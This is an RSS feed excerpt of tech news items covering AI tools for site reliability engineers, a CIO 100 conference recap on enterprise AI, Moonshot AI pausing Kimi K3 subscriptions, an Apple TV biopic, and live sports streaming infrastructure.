<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond the Model: Harnessing Frontier AI for Stronger Cyber Defense]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3682659/it-security-nachrichten/beyond-the-model-harnessing-frontier-ai-for-stronger-cyber-defense/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682659/it-security-nachrichten/beyond-the-model-harnessing-frontier-ai-for-stronger-cyber-defense/</guid>
<pubDate>Tue, 21 Jul 2026 06:54:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[China's New AI Model Halts New Subscriptions As Demand Swamps Capacity]]></title>
<description><![CDATA[Moonshot AI has temporarily paused new subscriptions for its Kimi K3 model after demand surged beyond the company's current capacity within days of the launch. The open-source Chinese AI model, described as one of the largest of its kind at 2.8 trillion parameters, has rattled U.S. rivals by beat...]]></description>
<link>https://tsecurity.de/de/3682219/it-security-nachrichten/chinas-new-ai-model-halts-new-subscriptions-as-demand-swamps-capacity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682219/it-security-nachrichten/chinas-new-ai-model-halts-new-subscriptions-as-demand-swamps-capacity/</guid>
<pubDate>Mon, 20 Jul 2026 23:43:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Moonshot AI has temporarily paused new subscriptions for its Kimi K3 model after demand surged beyond the company's current capacity within days of the launch. The open-source Chinese AI model, described as one of the largest of its kind at 2.8 trillion parameters, has rattled U.S. rivals by beating Anthropic's Fable 5 and OpenAI's GPT-5.6 Sol in front-end coding tests. The Associated Press reports: "Kimi K3 has received far more love than we expected," Moonshot AI, which is Beijing-based, wrote in a X post late on Sunday. "Over the past 48 hours, demand has pushed close to the limits of our current capacity." Moonshot said that it's prioritizing existing subscribers and would be temporarily pausing new ones. "We're adding capacity as fast as we can and will reopen new subscription spots in batches," it added. The AI startup also posted a similar message on Chinese social media.
 
"New model releases generally trigger massive interest, which can strain existing compute infrastructure," said Lian Jye Su, a chief analyst at the technology research and advisory group Omdia. "This does show Moonshot AI does not have sufficient compute chips to serve the current surge in demand." Su said that the key reason was more likely due to Moonshot not fully anticipating the surge in K3's popularity. K3 is "very demanding" in terms of compute requirements, he said, making compute allocation challenging and expensive.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=China's+New+AI+Model+Halts+New+Subscriptions+As+Demand+Swamps+Capacity%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F20%2F205250%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F20%2F205250%2Fchinas-new-ai-model-halts-new-subscriptions-as-demand-swamps-capacity%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/20/205250/chinas-new-ai-model-halts-new-subscriptions-as-demand-swamps-capacity?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['CODA' director returns to Apple TV with movie about disability activist Judy Heumann]]></title>
<description><![CDATA[Apple TV is to screen director Sian Heder's follow-up to the Oscar-winning "CODA," a biopic about the life of a woman who got the government to take action over the rights of disabled people.Ruth Madeley (center) as Judy Heumann in Sian Heder's "Being Heumann" - image credit: Apple TVIn 2022, Sia...]]></description>
<link>https://tsecurity.de/de/3681770/ios-mac-os/coda-director-returns-to-apple-tv-with-movie-about-disability-activist-judy-heumann/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681770/ios-mac-os/coda-director-returns-to-apple-tv-with-movie-about-disability-activist-judy-heumann/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/apple-tv" title="Apple TV" data-kpt="1">Apple TV</a> is to screen director Sian Heder's follow-up to the Oscar-winning "CODA," a biopic about the life of a woman who got the government to take action over the rights of disabled people.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68299-143957-000-lead-Being-Heumann-xl.jpg" alt="Group of protesters, including people in wheelchairs, blocking a city street; a woman in an orange coat leads with raised arms while others cheer and hold signs in the background" height="720"><br><span>Ruth Madeley (center) as Judy Heumann in Sian Heder's "Being Heumann" - image credit: Apple TV</span></div><br>In 2022, Sian Heder directed and co-wrote "CODA," which earned Apple TV the first-ever <a href="https://appleinsider.com/articles/22/03/28/apple-tv-original-film-coda-wins-best-picture-at-the-2022-oscars">Best Picture Oscar</a> for a streaming service. Apple <a href="https://www.apple.com/tv-pr/news/2022/03/apple-original-films-to-premiere-exhilarating-slate-of-new-films-from-award-winning-storytellers-in-2022-and-beyond/">immediately announced</a> that it was backing Heder to direct a dramatization of Judy Heumann's bestselling memoir, and the finished film is now heading for theaters and Apple TV.<br><br>Co-written by Heder and Rebekah Taussig, "Being Heumann" stars Ruth Madeley as Heumann. Best known for "Doctor Who" and Russell T. Davies's "Years and Years," Madeley has spina bifida and is wheelchair-bound.<br><br><br> <a href="https://appleinsider.com/articles/26/07/20/coda-director-returns-to-apple-tv-with-movie-about-disability-activist-judy-heumann?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245002?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



